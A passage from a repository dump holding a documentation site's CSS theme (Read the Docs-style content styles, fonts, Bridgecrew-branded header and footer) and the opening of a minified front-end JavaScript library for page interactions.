display: none\n    }\n\n    .rst-versions.shift {\n        display: block\n    }\n}\n\n.rst-content img {\n    max-width: 100%;\n    height: auto\n}\n\n.rst-content div.figure {\n    margin-bottom: 24px\n}\n\n.rst-content div.figure p.caption {\n    font-style: italic\n}\n\n.rst-content div.figure p:last-child.caption {\n    margin-bottom: 0px\n}\n\n.rst-content div.figure.align-center {\n    text-align: center\n}\n\n.rst-content .section>img,\n.rst-content .section>a>img {\n    margin-bottom: 24px\n}\n\n.rst-content abbr[title] {\n    text-decoration: none\n}\n\n.rst-content.style-external-links a.reference.external:after {\n    font-family: FontAwesome;\n    content: \"\";\n    color: #b3b3b3;\n    vertical-align: super;\n    font-size: 60%;\n    margin: 0 .2em\n}\n\n.rst-content blockquote {\n    margin-left: 24px;\n    line-height: 24px;\n    margin-bottom: 24px\n}\n\n.rst-content pre.literal-block {\n    white-space: pre;\n    margin: 0;\n    padding: 12px 12px;\n    font-family: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", Courier, monospace;\n    display: block;\n    overflow: auto\n}\n\n.rst-content pre.literal-block,\n.rst-content div[class^='highlight'] {\n    border: 1px solid #e1e4e5;\n    overflow-x: auto;\n    margin: 1px 0 24px 0\n}\n\n.rst-content pre.literal-block div[class^='highlight'],\n.rst-content div[class^='highlight'] div[class^='highlight'] {\n    padding: 0px;\n    border: none;\n    margin: 0\n}\n\n.rst-content div[class^='highlight'] td.code {\n    width: 100%\n}\n\n.rst-content .linenodiv pre {\n    border-right: solid 1px #e6e9ea;\n    margin: 0;\n    padding: 12px 12px;\n    font-family: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", Courier, monospace;\n    user-select: none;\n    pointer-events: none\n}\n\n.rst-content div[class^='highlight'] pre {\n    white-space: pre;\n    margin: 0;\n    padding: 12px 12px;\n    display: block;\n    overflow: auto\n}\n\n.rst-content div[class^='highlight'] pre .hll {\n    display: block;\n    margin: 0 -12px;\n    padding: 0 12px\n}\n\n.rst-content pre.literal-block,\n.rst-content div[class^='highlight'] pre,\n.rst-content .linenodiv pre {\n    font-family: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", Courier, monospace;\n    font-size: 12px;\n    line-height: 1.4\n}\n\n@media print {\n\n    .rst-content .codeblock,\n    .rst-content div[class^='highlight'],\n    .rst-content div[class^='highlight'] pre {\n        white-space: pre-wrap\n    }\n}\n\n.rst-content .note .last,\n.rst-content .attention .last,\n.rst-content .caution .last,\n.rst-content .danger .last,\n.rst-content .error .last,\n.rst-content .hint .last,\n.rst-content .important .last,\n.rst-content .tip .last,\n.rst-content .warning .last,\n.rst-content .seealso .last,\n.rst-content .admonition-todo .last,\n.rst-content .admonition .last {\n    margin-bottom: 0\n}\n\n.rst-content .admonition-title:before {\n    margin-right: 4px\n}\n\n.rst-content .admonition table {\n    border-color: rgba(0, 0, 0, 0.1)\n}\n\n.rst-content .admonition table td,\n.rst-content .admonition table th {\n    background: transparent !important;\n    border-color: rgba(0, 0, 0, 0.1) !important\n}\n\n.rst-content .section ol.loweralpha,\n.rst-content .section ol.loweralpha li {\n    list-style: lower-alpha\n}\n\n.rst-content .section ol.upperalpha,\n.rst-content .section ol.upperalpha li {\n    list-style: upper-alpha\n}\n\n.rst-content .section ol p,\n.rst-content .section ul p {\n    margin-bottom: 12px\n}\n\n.rst-content .section ol p:last-child,\n.rst-content .section ul p:last-child {\n    margin-bottom: 24px\n}\n\n.rst-content .line-block {\n    margin-left: 0px;\n    margin-bottom: 24px;\n    line-height: 24px\n}\n\n.rst-content .line-block .line-block {\n    margin-left: 24px;\n    margin-bottom: 0px\n}\n\n.rst-content .topic-title {\n    font-weight: bold;\n    margin-bottom: 12px\n}\n\n.rst-content .toc-backref {\n    color: #404040\n}\n\n.rst-content .align-right {\n    float: right;\n    margin: 0px 0px 24px 24px\n}\n\n.rst-content .align-left {\n    float: left;\n    margin: 0px 24px 24px 0px\n}\n\n.rst-content .align-center {\n    margin: auto\n}\n\n.rst-content .align-center:not(table) {\n    display: block\n}\n\n.rst-content h1 .headerlink,\n.rst-content h2 .headerlink,\n.rst-content .toctree-wrapper p.caption .headerlink,\n.rst-content h3 .headerlink,\n.rst-content h4 .headerlink,\n.rst-content h5 .headerlink,\n.rst-content h6 .headerlink,\n.rst-content dl dt .headerlink,\n.rst-content p.caption .headerlink,\n.rst-content table>caption .headerlink {\n    visibility: hidden;\n    font-size: 14px\n}\n\n.rst-content h1 .headerlink:after,\n.rst-content h2 .headerlink:after,\n.rst-content .toctree-wrapper p.caption .headerlink:after,\n.rst-content h3 .headerlink:after,\n.rst-content h4 .headerlink:after,\n.rst-content h5 .headerlink:after,\n.rst-content h6 .headerlink:after,\n.rst-content dl dt .headerlink:after,\n.rst-content p.caption .headerlink:after,\n.rst-content table>caption .headerlink:after {\n    content: \"\";\n    font-family: FontAwesome\n}\n\n.rst-content h1:hover .headerlink:after,\n.rst-content h2:hover .headerlink:after,\n.rst-content .toctree-wrapper p.caption:hover .headerlink:after,\n.rst-content h3:hover .headerlink:after,\n.rst-content h4:hover .headerlink:after,\n.rst-content h5:hover .headerlink:after,\n.rst-content h6:hover .headerlink:after,\n.rst-content dl dt:hover .headerlink:after,\n.rst-content p.caption:hover .headerlink:after,\n.rst-content table>caption:hover .headerlink:after {\n    visibility: visible\n}\n\n.rst-content table>caption .headerlink:after {\n    font-size: 12px\n}\n\n.rst-content .centered {\n    text-align: center\n}\n\n.rst-content .sidebar {\n    float: right;\n    width: 40%;\n    display: block;\n    margin: 0 0 24px 24px;\n    padding: 24px;\n    background: #f3f6f6;\n    border: solid 1px #e1e4e5\n}\n\n.rst-content .sidebar p,\n.rst-content .sidebar ul,\n.rst-content .sidebar dl {\n    font-size: 90%\n}\n\n.rst-content .sidebar .last {\n    margin-bottom: 0\n}\n\n.rst-content .sidebar .sidebar-title {\n    display: block;\n    font-family: \"Roboto Slab\", \"ff-tisa-web-pro\", \"Georgia\", Arial, sans-serif;\n    font-weight: bold;\n    background: #e1e4e5;\n    padding: 6px 12px;\n    margin: -24px;\n    margin-bottom: 24px;\n    font-size: 100%\n}\n\n.rst-content .highlighted {\n    background: #F1C40F;\n    display: inline-block;\n    font-weight: bold;\n    padding: 0 6px\n}\n\n.rst-content .footnote-reference,\n.rst-content .citation-reference {\n    vertical-align: baseline;\n    position: relative;\n    top: -0.4em;\n    line-height: 0;\n    font-size: 90%\n}\n\n.rst-content table.docutils.citation,\n.rst-content table.docutils.footnote {\n    background: none;\n    border: none;\n    color: gray\n}\n\n.rst-content table.docutils.citation td,\n.rst-content table.docutils.citation tr,\n.rst-content table.docutils.footnote td,\n.rst-content table.docutils.footnote tr {\n    border: none;\n    background-color: transparent !important;\n    white-space: normal\n}\n\n.rst-content table.docutils.citation td.label,\n.rst-content table.docutils.footnote td.label {\n    padding-left: 0;\n    padding-right: 0;\n    vertical-align: top\n}\n\n.rst-content table.docutils.citation tt,\n.rst-content table.docutils.citation code,\n.rst-content table.docutils.footnote tt,\n.rst-content table.docutils.footnote code {\n    color: #555\n}\n\n.rst-content .wy-table-responsive.citation,\n.rst-content .wy-table-responsive.footnote {\n    margin-bottom: 0\n}\n\n.rst-content .wy-table-responsive.citation+:not(.citation),\n.rst-content .wy-table-responsive.footnote+:not(.footnote) {\n    margin-top: 24px\n}\n\n.rst-content .wy-table-responsive.citation:last-child,\n.rst-content .wy-table-responsive.footnote:last-child {\n    margin-bottom: 24px\n}\n\n.rst-content table.docutils th {\n    border-color: #e1e4e5\n}\n\n.rst-content table.docutils td .last,\n.rst-content table.docutils td .last :last-child {\n    margin-bottom: 0\n}\n\n.rst-content table.field-list {\n    border: none\n}\n\n.rst-content table.field-list td {\n    border: none\n}\n\n.rst-content table.field-list td>strong {\n    display: inline-block\n}\n\n.rst-content table.field-list .field-name {\n    padding-right: 10px;\n    text-align: left;\n    white-space: nowrap\n}\n\n.rst-content table.field-list .field-body {\n    text-align: left\n}\n\n.rst-content tt,\n.rst-content tt,\n.rst-content code {\n    color: #000;\n    font-family: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", Courier, monospace;\n    padding: 2px 5px\n}\n\n.rst-content tt big,\n.rst-content tt em,\n.rst-content tt big,\n.rst-content code big,\n.rst-content tt em,\n.rst-content code em {\n    font-size: 100% !important;\n    line-height: normal\n}\n\n.rst-content tt.literal,\n.rst-content tt.literal,\n.rst-content code.literal {\n    color: #E74C3C\n}\n\n.rst-content tt.xref,\na .rst-content tt,\n.rst-content tt.xref,\n.rst-content code.xref,\na .rst-content tt,\na .rst-content code {\n    font-weight: bold;\n    color: #404040\n}\n\n.rst-content pre,\n.rst-content kbd,\n.rst-content samp {\n    font-family: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", Courier, monospace\n}\n\n.rst-content a tt,\n.rst-content a tt,\n.rst-content a code {\n    color: #2980B9\n}\n\n.rst-content dl {\n    margin-bottom: 24px\n}\n\n.rst-content dl dt {\n    font-weight: bold;\n    margin-bottom: 12px\n}\n\n.rst-content dl p,\n.rst-content dl table,\n.rst-content dl ul,\n.rst-content dl ol {\n    margin-bottom: 12px !important\n}\n\n.rst-content dl dd {\n    margin: 0 0 12px 24px;\n    line-height: 24px\n}\n\n.rst-content dl:not(.docutils) {\n    margin-bottom: 24px\n}\n\n.rst-content dl:not(.docutils) dt {\n    display: table;\n    margin: 6px 0;\n    font-size: 90%;\n    line-height: normal;\n    background: #e7f2fa;\n    color: #2980B9;\n    border-top: solid 3px #6ab0de;\n    padding: 6px;\n    position: relative\n}\n\n.rst-content dl:not(.docutils) dt:before {\n    color: #6ab0de\n}\n\n.rst-content dl:not(.docutils) dt .headerlink {\n    color: #404040;\n    font-size: 100% !important\n}\n\n.rst-content dl:not(.docutils) dl dt {\n    margin-bottom: 6px;\n    border: none;\n    border-left: solid 3px #ccc;\n    background: #f0f0f0;\n    color: #555\n}\n\n.rst-content dl:not(.docutils) dl dt .headerlink {\n    color: #404040;\n    font-size: 100% !important\n}\n\n.rst-content dl:not(.docutils) dt:first-child {\n    margin-top: 0\n}\n\n.rst-content dl:not(.docutils) tt,\n.rst-content dl:not(.docutils) tt,\n.rst-content dl:not(.docutils) code {\n    font-weight: bold\n}\n\n.rst-content dl:not(.docutils) tt.descname,\n.rst-content dl:not(.docutils) tt.descclassname,\n.rst-content dl:not(.docutils) tt.descname,\n.rst-content dl:not(.docutils) code.descname,\n.rst-content dl:not(.docutils) tt.descclassname,\n.rst-content dl:not(.docutils) code.descclassname {\n    background-color: transparent;\n    border: none;\n    padding: 0;\n    font-size: 100% !important\n}\n\n.rst-content dl:not(.docutils) tt.descname,\n.rst-content dl:not(.docutils) tt.descname,\n.rst-content dl:not(.docutils) code.descname {\n    font-weight: bold\n}\n\n.rst-content dl:not(.docutils) .optional {\n    display: inline-block;\n    padding: 0 4px;\n    color: #000;\n    font-weight: bold\n}\n\n.rst-content dl:not(.docutils) .property {\n    display: inline-block;\n    padding-right: 8px\n}\n\n.rst-content .viewcode-link,\n.rst-content .viewcode-back {\n    display: inline-block;\n    color: #052882;\n    font-size: 80%;\n    padding-left: 24px\n}\n\n.rst-content .viewcode-back {\n    display: block;\n    float: right\n}\n\n.rst-content p.rubric {\n    margin-bottom: 12px;\n    font-weight: bold\n}\n\n.rst-content tt.download,\n.rst-content code.download {\n    background: inherit;\n    padding: inherit;\n    font-weight: normal;\n    font-family: inherit;\n    font-size: inherit;\n    color: inherit;\n    border: inherit;\n    white-space: inherit\n}\n\n.rst-content tt.download span:first-child,\n.rst-content code.download span:first-child {\n    -webkit-font-smoothing: subpixel-antialiased\n}\n\n.rst-content tt.download span:first-child:before,\n.rst-content code.download span:first-child:before {\n    margin-right: 4px\n}\n\n.rst-content .guilabel {\n    border: 1px solid #7fbbe3;\n    background: #e7f2fa;\n    font-size: 80%;\n    font-weight: 700;\n    border-radius: 4px;\n    padding: 2.4px 6px;\n    margin: auto 2px\n}\n\n.rst-content .versionmodified {\n    font-style: italic\n}\n\n@media screen and (max-width: 480px) {\n    .rst-content .sidebar {\n        width: 100%\n    }\n}\n\nspan[id*='MathJax-Span'] {\n    color: #404040\n}\n\n.math {\n    text-align: center\n}\n\n@font-face {\n    font-family: \"Lato\";\n    src: url(\"../fonts/Lato/lato-regular.eot\");\n    src: url(\"../fonts/Lato/lato-regular.eot?#iefix\") format(\"embedded-opentype\"), url(\"../fonts/Lato/lato-regular.woff2\") format(\"woff2\"), url(\"../fonts/Lato/lato-regular.woff\") format(\"woff\"), url(\"../fonts/Lato/lato-regular.ttf\") format(\"truetype\");\n    font-weight: 400;\n    font-style: normal\n}\n\n@font-face {\n    font-family: \"Lato\";\n    src: url(\"../fonts/Lato/lato-bold.eot\");\n    src: url(\"../fonts/Lato/lato-bold.eot?#iefix\") format(\"embedded-opentype\"), url(\"../fonts/Lato/lato-bold.woff2\") format(\"woff2\"), url(\"../fonts/Lato/lato-bold.woff\") format(\"woff\"), url(\"../fonts/Lato/lato-bold.ttf\") format(\"truetype\");\n    font-weight: 700;\n    font-style: normal\n}\n\n@font-face {\n    font-family: \"Lato\";\n    src: url(\"../fonts/Lato/lato-bolditalic.eot\");\n    src: url(\"../fonts/Lato/lato-bolditalic.eot?#iefix\") format(\"embedded-opentype\"), url(\"../fonts/Lato/lato-bolditalic.woff2\") format(\"woff2\"), url(\"../fonts/Lato/lato-bolditalic.woff\") format(\"woff\"), url(\"../fonts/Lato/lato-bolditalic.ttf\") format(\"truetype\");\n    font-weight: 700;\n    font-style: italic\n}\n\n@font-face {\n    font-family: \"Lato\";\n    src: url(\"../fonts/Lato/lato-italic.eot\");\n    src: url(\"../fonts/Lato/lato-italic.eot?#iefix\") format(\"embedded-opentype\"), url(\"../fonts/Lato/lato-italic.woff2\") format(\"woff2\"), url(\"../fonts/Lato/lato-italic.woff\") format(\"woff\"), url(\"../fonts/Lato/lato-italic.ttf\") format(\"truetype\");\n    font-weight: 400;\n    font-style: italic\n}\n\n@font-face {\n    font-family: \"Roboto Slab\";\n    font-style: normal;\n    font-weight: 400;\n    src: url(\"../fonts/RobotoSlab/roboto-slab.eot\");\n    src: url(\"../fonts/RobotoSlab/roboto-slab-v7-regular.eot?#iefix\") format(\"embedded-opentype\"), url(\"../fonts/RobotoSlab/roboto-slab-v7-regular.woff2\") format(\"woff2\"), url(\"../fonts/RobotoSlab/roboto-slab-v7-regular.woff\") format(\"woff\"), url(\"../fonts/RobotoSlab/roboto-slab-v7-regular.ttf\") format(\"truetype\")\n}\n\n@font-face {\n    font-family: \"Roboto Slab\";\n    font-style: normal;\n    font-weight: 700;\n    src: url(\"../fonts/RobotoSlab/roboto-slab-v7-bold.eot\");\n    src: url(\"../fonts/RobotoSlab/roboto-slab-v7-bold.eot?#iefix\") format(\"embedded-opentype\"), url(\"../fonts/RobotoSlab/roboto-slab-v7-bold.woff2\") format(\"woff2\"), url(\"../fonts/RobotoSlab/roboto-slab-v7-bold.woff\") format(\"woff\"), url(\"../fonts/RobotoSlab/roboto-slab-v7-bold.ttf\") format(\"truetype\")\n}\n\n/* Pyro Extras */\n\nheader.header {\n    position: fixed;\n    left: 0%;\n    top: 0%;\n    right: auto;\n    bottom: auto;\n    z-index: 10;\n    width: 100vw;\n    background: #fff;\n    z-index: 999;\n    -webkit-transition: background-color 500ms ease;\n    transition: background-color 500ms ease;\n}\n\nheader .header-container {\n    display: -webkit-box;\n    display: -webkit-flex;\n    display: -ms-flexbox;\n    display: flex;\n    -webkit-box-pack: justify;\n    -webkit-justify-content: space-between;\n    -ms-flex-pack: justify;\n    justify-content: space-between;\n    -webkit-box-align: center;\n    -webkit-align-items: center;\n    -ms-flex-align: center;\n    align-items: center;\n    padding: 5px 62.5px;\n}\n\nheader .btns-container {\n    display: -webkit-box;\n    display: -webkit-flex;\n    display: -ms-flexbox;\n    display: flex;\n}\n\nheader .image {\n    height: 25px;\n    max-width: 100%;\n    vertical-align: middle;\n    display: inline-block;\n    border: 0;\n}\n\nheader .button {\n    display: -webkit-box;\n    display: -webkit-flex;\n    display: -ms-flexbox;\n    display: flex;\n    width: 160px;\n    height: 38px;\n    -webkit-box-pack: center;\n    -webkit-justify-content: center;\n    -ms-flex-pack: center;\n    justify-content: center;\n    -webkit-box-align: center;\n    -webkit-align-items: center;\n    -ms-flex-align: center;\n    align-items: center;\n    border: 1px solid #052882;\n    border-radius: 28px;\n    background-color: #052882;\n    box-shadow: 3px 3px 12px 2px #b3c3ea;\n    -webkit-transition: border-color 350ms ease, color 500ms ease, background-color 500ms ease;\n    transition: border-color 350ms ease, color 500ms ease, background-color 500ms ease;\n    font-size: 16px;\n    line-height: 1;\n    text-align: center;\n    color: #fff;\n    font-weight: normal;\n    text-decoration: none !important;\n}\n\nheader .button.shadow-none {\n    box-shadow: none;\n}\n\nheader .button.shadow-none.white-btn {\n    background-color: #fff;\n    color: #052882;\n}\n\nheader .button.shadow-none.white-btn.try-bc-btn {\n    margin-left: 15px;\n}\n\n.button:hover {\n    background-color: #fff;\n    color: #052882;\n}\n\n.button.shadow-none.white-btn.try-bc-btn:hover {\n    background-color: #052882;\n    color: #fff;\n}\n\n.button.shadow-none:hover {\n    background-color: #fff;\n    color: #052883;\n}\n\nfooter.footer {\n    position: relative;\n    width: 100vw;\n    padding: 20px;\n    background-color: #102971;\n    z-index: 999;\n}\n\nfooter .footer-container {\n    display: -webkit-box;\n    display: -webkit-flex;\n    display: -ms-flexbox;\n    display: flex;\n    -webkit-box-align: start;\n    -webkit-align-items: flex-start;\n    -ms-flex-align: start;\n    align-items: flex-start;\n}\n\nfooter .footer-logo-wrapper {\n    margin-right: 6vw;\n    color: #fff;\n    font-size: 15px;\n    line-height: 18px;\n    text-decoration: none;\n}\n\nfooter .powered-text {\n    margin-bottom: 5px;\n}\n\nfooter img.bridge-logo {\n    height: 40px;\n    max-width: 100%;\n    vertical-align: middle;\n    display: inline-block;\n    border: 0;\n}\n\nfooter .footer-links-list {\n    display: -webkit-box;\n    display: -webkit-flex;\n    display: -ms-flexbox;\n    display: flex;\n    width: 45vw;\n    margin-bottom: 0px;\n    -webkit-flex-wrap: wrap;\n    -ms-flex-wrap: wrap;\n    flex-wrap: wrap;\n    padding-left: 0;\n    list-style: none;\n}\n\nfooter .footer-li {\n    width: 25%;\n    margin-top: 0px;\n    margin-bottom: 10px;\n    font-size: 0.9vw;\n    line-height: 1.5vw;\n    font-weight: 200;\n}\n\n.footer-link {\n    color: #fff;\n    text-decoration: none;\n}\n\nfooter .visit-on-text {\n    margin-bottom: 5px;\n    color: #fff;\n    font-size: 0.9vw;\n    line-height: 1.5vw;\n    font-weight: 200;\n}\n\nfooter .social-links {\n    margin-top: 15px;\n}\n\nfooter .single-social-link.first {\n    margin-left: 0px;\n}\n\nfooter .single-social-link {\n    margin-right: 10px;\n    margin-left: 10px;\n}\n\nfooter .single-social-link.last {\n    margin-right: 0px;\n}\n\nfooter .social-img {\n    height: 24px;\n}\n\n\n@media screen and (max-width: 1024px) {\n    footer .footer-li .footer-link {\n        background-image: linear-gradient(to bottom, currentColor 25%, transparent 25%);\n        background-repeat: no-repeat;\n        background-size: 0% 3px;\n        background-position-x: right;\n        background-position-y: bottom;\n        padding-bottom: 3px;\n        transition: background-size 0.3s, filter .6s, color .6s, opacity .6s !important;\n    }\n\n    footer .footer-li:hover .footer-link {\n        background-position-x: left;\n        background-size: 100% 3px;\n    }\n}\n\n.dropdown-title {\n    cursor: pointer;\n    position: relative;\n}\n\n.dropdown-title::after {\n    content: \"\";\n    position: absolute;\n    top: 50%;\n    left: 20px;\n    background: url(\"../img/arrow.svg\");\n    width: 10px;\n    height: 10px;\n    background-size: contain;\n    background-repeat: no-repeat;\n    background-position: center;\n    transform: translateY(-50%);\n    transition: transform .6s ease;\n}\n\n.dropdown.open .dropdown-title::after {\n    transform: rotate(-180deg) translateY(40%);\n}\n\n.dropdown-content {\n    height: 0px;\n    overflow: hidden;\n    transition: height .6s ease;\n}\n\nnav ul li.current ul {\n    padding: 0 10px;\n}\n\n.wy-nav-content .rst-content {\n    min-height: calc(100vh - 130px);\n    display: flex;\n    flex-direction: column;\n    justify-content: space-between;\n}\n\nheader i {\n    display: none !important;\n}\n\na {\n    font-weight: 700;\n}\n\na:hover {\n    text-decoration: underline;\n}\n\n@media screen and (max-width: 1024px) {\n    header .header-container {\n        padding: 11.6px 62.5px;\n    }\n\n    h1 {\n        font-size: 28px;\n        line-height: 33px;\n    }\n\n    h2 {\n        font-size: 20px;\n        line-height: 24px;\n    }\n\n    header .btns-container {\n        display: none;\n    }\n\n    header .header-container {\n        -webkit-box-pack: center;\n        -webkit-justify-content: center;\n        -ms-flex-pack: center;\n        justify-content: center;\n    }\n\n    header .image {\n        height: 25px;\n    }\n\n    .wy-grid-for-nav {\n        padding-top: 50px;\n    }\n\n    .wy-nav-side {\n        top: 108px;\n        transition: left .6s ease;\n        z-index: 9999;\n    }\n\n    .wy-nav-side.open {\n        left: 0;\n    }\n\n    header i {\n        display: block !important;\n        position: absolute;\n        left: 20px;\n        top: 75%;\n        transform: translateY(-50%);\n    }\n\n    footer.footer {\n        padding-right: 40px;\n        padding-left: 40px;\n    }\n\n    footer .footer-container {\n        -webkit-box-orient: vertical;\n        -webkit-box-direction: reverse;\n        -webkit-flex-direction: column-reverse;\n        -ms-flex-direction: column-reverse;\n        flex-direction: column-reverse;\n        -webkit-box-align: center;\n        -webkit-align-items: center;\n        -ms-flex-align: center;\n        align-items: center;\n    }\n\n    footer .footer-logo-wrapper {\n        margin-right: 0vw;\n    }\n\n    footer .footer-nav {\n        margin-bottom: 10px;\n        padding-bottom: 10px;\n        width: 100%;\n        -webkit-box-ordinal-group: 2;\n        -webkit-order: 1;\n        -ms-flex-order: 1;\n        order: 1;\n        border-bottom: 1px solid hsla(0, 0%, 100%, 0.75);\n    }\n\n    footer .footer-visit-on {\n        margin-bottom: 20px;\n    }\n\n    footer .visit-on-text {\n        font-size: 14px;\n        line-height: 17px;\n        text-align: center;\n    }\n\n    footer .social-img {\n        height: 16px;\n    }\n\n    footer .footer-links-list {\n        width: 100%;\n        padding-left: 0px;\n    }\n\n    footer .footer-li {\n        width: 50%;\n        font-size: 14px;\n        line-height: 17px;\n        text-align: left;\n    }\n\n    footer .powered-text {\n        font-size: 14px;\n        line-height: 17px;\n        text-align: center;\n    }\n\n    footer img.bridge-logo {\n        height: 20px;\n    }\n\n    .wy-nav-side {\n        width: 100vw;\n    }\n\n    .wy-side-nav-search input[type=text] {\n        padding: 8px 0 8px 15px;\n    }\n\n    p {\n        font-size: 14px;\n        line-height: 18px;\n    }\n}\n\n.header-bridgecrew{\n\tborder: 0px;\n\tbackground-color: #662eff;\n\tbackground-image: linear-gradient(-231deg, #7a49ff 0%, #662eff 100%);\n\tline-height: 25px;\t\n\tcolor: white;\n\tfont-size: 14px;\n}\n\n.header-bridgecrew .header-container{\n\tpadding-top: 11.5px;\n\tpadding-bottom: 11.5px;\n}\n\n\n\n.header-bridgecrew .btns-container a{\n\t/*\n\tfont-family: 'Work Sans', sans-serif;\n\tcolor: white;\n\tbackground-color: transparent;\n\tletter-spacing: 1.92px;\n\ttext-transform: uppercase;\n\tline-height: 1.2em;\n\tdisplay: inline-block;\n\ttext-decoration: none;\n\ttransition: all 0.25s ease;\n\tcursor: pointer;\n\tfont-size: 0.88em;\n\ttext-align: center;\n\tfont-weight: normal;\n\tpadding: 0.90em 2em;*/\n\tfont-family: 'Work Sans', sans-serif;\n\tborder: 0px !important;\n\tbackground-color: transparent;\n\tborder-radius: 0px;\n\tbox-shadow: none;\n\tfont-size: 16px;\n\tfont-weight: 400;\n\tline-height: 25px;\n\tpadding: 0px 10px;\n}\n\n.header-bridgecrew .btns-container .link{\n\t\n}\n\n.header-bridgecrew .btns-container .btn{\n\tborder-radius: 25px;\n\tborder: 2px solid white;\n}\n\n@media screen and (max-width: 1024px){\n\t\n\t.header-bridgecrew .btns-container{\n\t\tdisplay: none;\t\n\t}\n}\n"
  },
  {
    "path": "docs/web/js/pyro.js",
    "content": "/*!\n * pyro: Front-end site library\n * @license MIT\n * Inline scripts may access the api using an async handler:\n *   var pyro = pyro || [];\n *   pyro.push(readyFunction);\n */!function(t){var e={};function n(r){if(e[r])return e[r].exports;var i=e[r]={i:r,l:!1,exports:{}};return t[r].call(i.exports,i,i.exports,n),i.l=!0,i.exports}n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)||Object.defineProperty(t,e,{enumerable:!0,get:r})},n.r=function(t){\"undefined\"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:\"Module\"}),Object.defineProperty(t,\"__esModule\",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return t;if(4&e&&\"object\"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,\"default\",{enumerable:!0,value:t}),2&e&&\"string\"!=typeof t)for(var i in t)n.d(r,i,function(e){return t[e]}.bind(null,i));return r},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,\"a\",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.p=\"\",n(n.s=101)}([function(t,e){t.exports=function(t){return t&&t.__esModule?t:{default:t}}},function(t,e){var n=Array.isArray;t.exports=n},function(t,e,n){\"use strict\";var r=n(16);Object.defineProperty(e,\"__esModule\",{value:!0}),e.IX2VanillaUtils=e.IX2VanillaPlugins=e.IX2Interactions=e.IX2Events=e.IX2ElementsReducer=e.IX2EngineConstants=e.IX2EngineItemTypes=e.IX2EngineEventTypes=e.IX2EngineActionTypes=e.IX2EasingUtils=e.IX2Easings=e.IX2BrowserSupport=void 0;var i=r(n(30));e.IX2BrowserSupport=i;var o=r(n(84));e.IX2Easings=o;var a=r(n(86));e.IX2EasingUtils=a;var u=r(n(88));e.IX2EngineActionTypes=u;var c=r(n(89));e.IX2EngineEventTypes=c;var s=r(n(47));e.IX2EngineItemTypes=s;var f=r(n(48));e.IX2EngineConstants=f;var l=r(n(188));e.IX2ElementsReducer=l;var d=r(n(189));e.IX2Events=d;var E=r(n(190));e.IX2Interactions=E;var p=r(n(90));e.IX2VanillaPlugins=p;var v=r(n(192));e.IX2VanillaUtils=v},function(t,e,n){var r=n(66),i=\"object\"==typeof self&&self&&self.Object===Object&&self,o=r||i||Function(\"return this\")();t.exports=o},function(t,e){t.exports=function(t){var e=typeof t;return null!=t&&(\"object\"==e||\"function\"==e)}},function(t,e,n){var r=n(120),i=n(174),o=n(44),a=n(1),u=n(181);t.exports=function(t){return\"function\"==typeof t?t:null==t?o:\"object\"==typeof t?a(t)?i(t[0],t[1]):r(t):u(t)}},function(t,e,n){var r=n(132),i=n(137);t.exports=function(t,e){var n=i(t,e);return r(n)?n:void 0}},function(t,e){t.exports=function(t){return null!=t&&\"object\"==typeof t}},function(t,e,n){\"use strict\";var r={},i={},o=[],a=window.pyro||[],u=window.jQuery,c=u(window),s=u(document),f=u.isFunction,l=r._=n(103),d=r.tram=n(53)&&u.tram,E=!1,p=!1;function v(t){r.env()&&(f(t.design)&&c.on(\"__pr_design\",t.design),f(t.preview)&&c.on(\"__pr_preview\",t.preview)),f(t.destroy)&&c.on(\"__pr_destroy\",t.destroy),t.ready&&f(t.ready)&&function(t){if(E)return void t.ready();if(l.contains(o,t.ready))return;o.push(t.ready)}(t)}function _(t){f(t.design)&&c.off(\"__pr_design\",t.design),f(t.preview)&&c.off(\"__pr_preview\",t.preview),f(t.destroy)&&c.off(\"__pr_destroy\",t.destroy),t.ready&&f(t.ready)&&function(t){o=l.filter(o,function(e){return e!==t.ready})}(t)}d.config.hideBackface=!1,d.config.keepInherited=!0,r.define=function(t,e,n){i[t]&&_(i[t]);var r=i[t]=e(u,l,n)||{};return v(r),r},r.require=function(t){return i[t]},r.push=function(t){E?f(t)&&t():a.push(t)},r.env=function(t){var e=window.__pr_design,n=void 0!==e;return t?\"design\"===t?n&&e:\"preview\"===t?n&&!e:\"slug\"===t?n&&window.__pr_slug:\"editor\"===t?window.pyroEditor:\"test\"===t?window.__pr_test:\"frame\"===t?window!==window.top:void 0:n};var h,I=navigator.userAgent.toLowerCase(),T=r.env.touch=\"ontouchstart\"in window||window.DocumentTouch&&document instanceof window.DocumentTouch,g=r.env.chrome=/chrome/.test(I)&&/Google/.test(navigator.vendor)&&parseInt(I.match(/chrome\\/(\\d+)\\./)[1],10),O=r.env.ios=/(ipod|iphone|ipad)/.test(I);r.env.safari=/safari/.test(I)&&!g&&!O,T&&s.on(\"touchstart mousedown\",function(t){h=t.target}),r.validClick=T?function(t){return t===h||u.contains(t,h)}:function(){return!0};var y,m=\"resize.pyro orientationchange.pyro load.pyro\";function A(t,e){var n=[],r={};return r.up=l.throttle(function(t){l.each(n,function(e){e(t)})}),t&&e&&t.on(e,r.up),r.on=function(t){\"function\"==typeof t&&(l.contains(n,t)||n.push(t))},r.off=function(t){n=arguments.length?l.filter(n,function(e){return e!==t}):[]},r}function S(t){f(t)&&t()}function R(){y&&(y.reject(),c.off(\"load\",y.resolve)),y=new u.Deferred,c.on(\"load\",y.resolve)}r.resize=A(c,m),r.scroll=A(c,\"scroll.pyro resize.pyro orientationchange.pyro 